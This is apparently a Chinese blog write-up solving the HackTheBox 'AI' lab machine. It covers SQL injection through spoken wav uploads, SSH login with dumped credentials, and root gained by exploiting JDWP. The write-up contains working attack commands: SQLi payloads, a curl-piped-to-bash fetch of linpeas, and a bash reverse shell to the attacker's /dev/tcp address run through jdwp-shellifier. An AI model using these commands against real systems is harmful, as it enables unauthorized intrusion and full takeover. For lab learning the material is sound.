終于又等到hackthebox更新退役靶機了征绎,這次的靶機是AI。因為比較有意思所以來記錄下提茁。不過過程并非一帆風(fēng)順。其中還遇到靶機磁盤寫滿導(dǎo)致無法寫入文件的事馁菜。刪了半天才想起來要重設(shè)靶機......
跟上次一樣參考了下大神的視頻https://www.youtube.com/watch?v=7n7YRntu3bc&t=1391s視頻真的非常良心茴扁。
(這次做之前更新kali虛擬機,又把自己的虛擬機弄死機了......好在現(xiàn)在不那么容易整體炸掉,倒是kali的界面越更新越舒適汪疮,挺不錯的)
本機ip:10.10.15.60
靶機ip:10.10.10.163
首先第一步當(dāng)然是探測端口了
nmap -sC -sV -oA ai 10.10.10.163
發(fā)現(xiàn)有22與80端口開放丹弱。既然有http服務(wù),那就嘗試直接訪問吧铲咨。
有一個主頁面躲胳。同時也發(fā)現(xiàn)了其他php文件,唯一比較有意思的就是下面這個ai.php
頁面纤勒,有一個文件上傳點坯苹。
但是很奇怪。居然是.wav
file摇天。通常我所知道的文件上傳點也就圖片馬或者phar反序列化或者其他類型的getshell粹湃。而它提示的drop your query using wav file.似乎是在說明我們可以進行查詢操作。
那么首先隨便傳一個test.php上去泉坐。內(nèi)容隨意为鳄。發(fā)現(xiàn)沒有回顯。
看來是要wav
的音頻文件了腕让。使用音頻文件執(zhí)行查詢孤钦,這點真的難以弄懂。那么在嘗試弄清漏洞類型之前先來目錄爆破一下纯丸,看有沒有什么別的信息:
gobuster dir -u http://10.10.10.163 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
基于這里都是php偏形,我們在gobuster后著重加上-x php
進行篩選。
解果大致如下:
/index.php (Status: 200)
/contact.php (Status: 200)
/about.php (Status: 200)
/images (Status: 301)
/uploads (Status: 301)
/db.php (Status:301)
/intelligence.php(Status: 200)
/ai.php(Status: 200)
其中ai.php等等都是主頁面就提供了的觉鼻。新發(fā)現(xiàn)的頁面包括intelligence.php
跟db.php
俊扭。上傳跟圖片界面我們都沒有權(quán)限進去。那么訪問下唯一可以訪問的intelligence.php
發(fā)現(xiàn)了這個頁面坠陈。似乎存在著詞語的替換關(guān)系萨惑。從表的右列中我們不難找到一些熟悉的符號--union
,#
,---
,Schema
等等捐康。這些都是常常出現(xiàn)在sql注入中的符號。結(jié)合我們還爆破出了db.php庸蔼,可以猜想是否有sql注入的漏洞呢吹由?
答案是正確的。而且腦洞大開的是:我們要用語言轉(zhuǎn)成音頻文件上傳來進行注入朱嘴。這也許就是這個AI靶機的名字所在吧。
首先google linux say command粗合, 發(fā)現(xiàn)有這樣的一個軟件萍嬉。叫做festival。
apt-get install festival
使用它其中一個叫text2wave的就能將語句轉(zhuǎn)成語音文件隙疚。比如用下管道符壤追,生成一個test.wav,內(nèi)容為hello供屉。
echo "Hello"| text2wave -o test.wav
嘗試聽下這個音頻行冰,發(fā)現(xiàn)是個男低音(也許是機器合成音?)然后再次嘗試上傳
發(fā)現(xiàn)input有結(jié)果,那么就嘗試下翻譯成英文來sql注入吧伶丐。
(這點對非英語母語的國家的人應(yīng)該非常不友好......畢竟有些偏門的括號之類的英文我也不太熟)
( openparenthesis 左括號
) closeparenthesis 右括號
- hyphen 連字符
基于一開始還探測到的intelligence.php
中有些字符對應(yīng)關(guān)系悼做,不難想到我們需要使用那張表來繞過注入
比如我的嘗試payload
' union select database()---
需要換作
open single quote, join select , database open parenthesis close parenthesis comment database
再重復(fù)上面生成test.wav的操作,就可以上傳注入哗魂。
基于hackthebox易得user的尿性肛走,可以猜出一張users表然后爆出username跟password
'union select username from user---
open single quote, join , select , username from users comment database
open single quote, join , select , password from users comment database
顯然,我們的http頁面并沒有什么讓我們登錄進去的方法或頁面录别⌒嗌基于之前的端口探測發(fā)現(xiàn)有ssh開放,不妨嘗試ssh登錄
成功登陸组题。并且user.txt就在當(dāng)前目錄下葫男。
之后就是常規(guī)提權(quán)的過程了。
這里開始可能會想到之前沒成功訪問的db.php崔列,在/var/www/html
中爆出內(nèi)容
可知username為
dbuser
,password為toor
進入mysql可用的就多了梢褐。(然而我進去的時候庫被別人刪了......)實際上可以爆出之前alexa所在user表的內(nèi)容中
username:root
password:H,Sq9t6}a<)?q931
但是ssh登錄并不成功。mysql這條路走不通赵讯。
眾所周知利职,發(fā)現(xiàn)提權(quán)的漏洞點并不是一件容易的事,尤其是對我這樣的小白而言瘦癌。所以猪贪,我從dalao視頻那發(fā)現(xiàn)了一個很厲害的腳本可以解決我自己的漏洞認(rèn)知問題。
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
在靶機上使用其中的linpeas.sh
讯私,腳本就會自動分析可能提權(quán)的漏洞點热押。著實解決不少問題西傀。不過通常結(jié)果又臭又長,可能需要耐心找一找桶癣。
具體方法也很簡單拥褂,本機git clone好后,起一個python監(jiān)聽(默認(rèn)8000端口)
python -m SimpleHTTPServer
在靶機上直接curl后執(zhí)行就好了
curl 10.10.15.60:8000/linpeas.sh | bash
這里從linpeas.sh的結(jié)果中可以發(fā)現(xiàn)一個JDWP的點被標(biāo)紅了牙寞。
那么jdwp是什么呢饺鹃?我們搜索一下
JDWP(Java DEbugger Wire Protocol):即Java調(diào)試線協(xié)議,是一個為Java調(diào)試而設(shè)計的通訊交互協(xié)議间雀,它定義了調(diào)試器和被調(diào)試程序之間傳遞的信息的格式悔详。說白了就是JVM或者類JVM的虛擬機都支持一種協(xié)議,通過該協(xié)議惹挟,Debugger 端可以和 target VM 通信茄螃,可以獲取目標(biāo) VM的包括類、對象连锯、線程等信息
而這是有漏洞利用的归苍。比如知道創(chuàng)宇上的
https://www.seebug.org/vuldb/ssvid-89216
等等,都是jdwp的代碼執(zhí)行漏洞运怖。那么我們接下來就用這個漏洞拼弃,嘗試拿到root權(quán)限。
首先確定使用的工具
https://github.com/IOActive/jdwp-shellifier
jdwp-shellifier
(上面幾個漏洞報告都是用的這個工具)之后考慮我們要執(zhí)行的命令摇展,當(dāng)然是拿到root shell比較好肴敛。所以先在alexa的靶機的tmp目錄下放一個反彈shell的腳本test.sh內(nèi)容如下:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.15.60/9002 0>&1'
然后給其執(zhí)行的權(quán)限
chmod +x test.sh
調(diào)用時只需:
./test.sh
先本機監(jiān)聽下,沒有問題吗购,可以彈到alexa的shell医男。
接下來用到一個新學(xué)到的大招:端口轉(zhuǎn)發(fā)。我們都知道捻勉,每次ssh登錄這一靶機都要用戶密碼镀梭,十分麻煩。而且將要利用的jdwp是java的debug功能踱启,據(jù)說操作時十分容易斷開报账。那有沒有什么方法可以本機處理這個jdwp呢?答案就是端口轉(zhuǎn)發(fā)埠偿。原本自己以為十分復(fù)雜透罢,但實際上并非如此。
首先在靶機上確認(rèn)jdwp是運行在8000端口的冠蒋。
那么我先進入tomcat的目錄羽圃,按下~C
將直接進入ssh,然后將其轉(zhuǎn)到localhost來研究
-L 8000:localhost:8000
這時我們在本機上使用
ss -lntp
查看主機監(jiān)聽的端口抖剿。就會發(fā)現(xiàn)8000端口處于監(jiān)聽狀態(tài)了朽寞,user是ssh识窿。我們也可以用同樣的方法轉(zhuǎn)發(fā)tomcat的8009和8080端口到本地,這樣我們就能直接瀏覽器訪問localhost:8080
來分析tomcat(當(dāng)然這里沒有什么幫助)
當(dāng)然脑融,這里轉(zhuǎn)發(fā)到本地本來只是方便調(diào)試喻频,因為可以直接在本地手動利用jdwp的漏洞,找到一個breakpoint用debug功能來執(zhí)行命令肘迎。但是這方面實在不熟(java白學(xué)了)甥温,所以還是直接利用上面的腳本舒服啊。
shellifier用法
python jdwp-shellifier.py -t 目標(biāo)主機ip -p jdwp運行端口 --cmd "Your Command"
這里我們直接
python jdwp-shellifier.py -t 127.0.0.1 --break-on "java.lang.String.indexOf" --cmd "/tmp/test.sh"
因為轉(zhuǎn)發(fā)了ip妓布,端口所以使用的ip是本地姻蚓。而break-on這點方便找出可以利用的斷點。最后的cmd執(zhí)行我們的反彈shell秋茫。
本機再度監(jiān)聽后執(zhí)行這個腳本
成功反彈shell到本機。即可拿到root.txt
感覺提權(quán)這方面自己還是不太熟悉乃秀,可能因為大部分ctf比賽注重的也只是getshell層面上的吧肛著,之后的操作還要多加了解知識學(xué)習(xí)啊。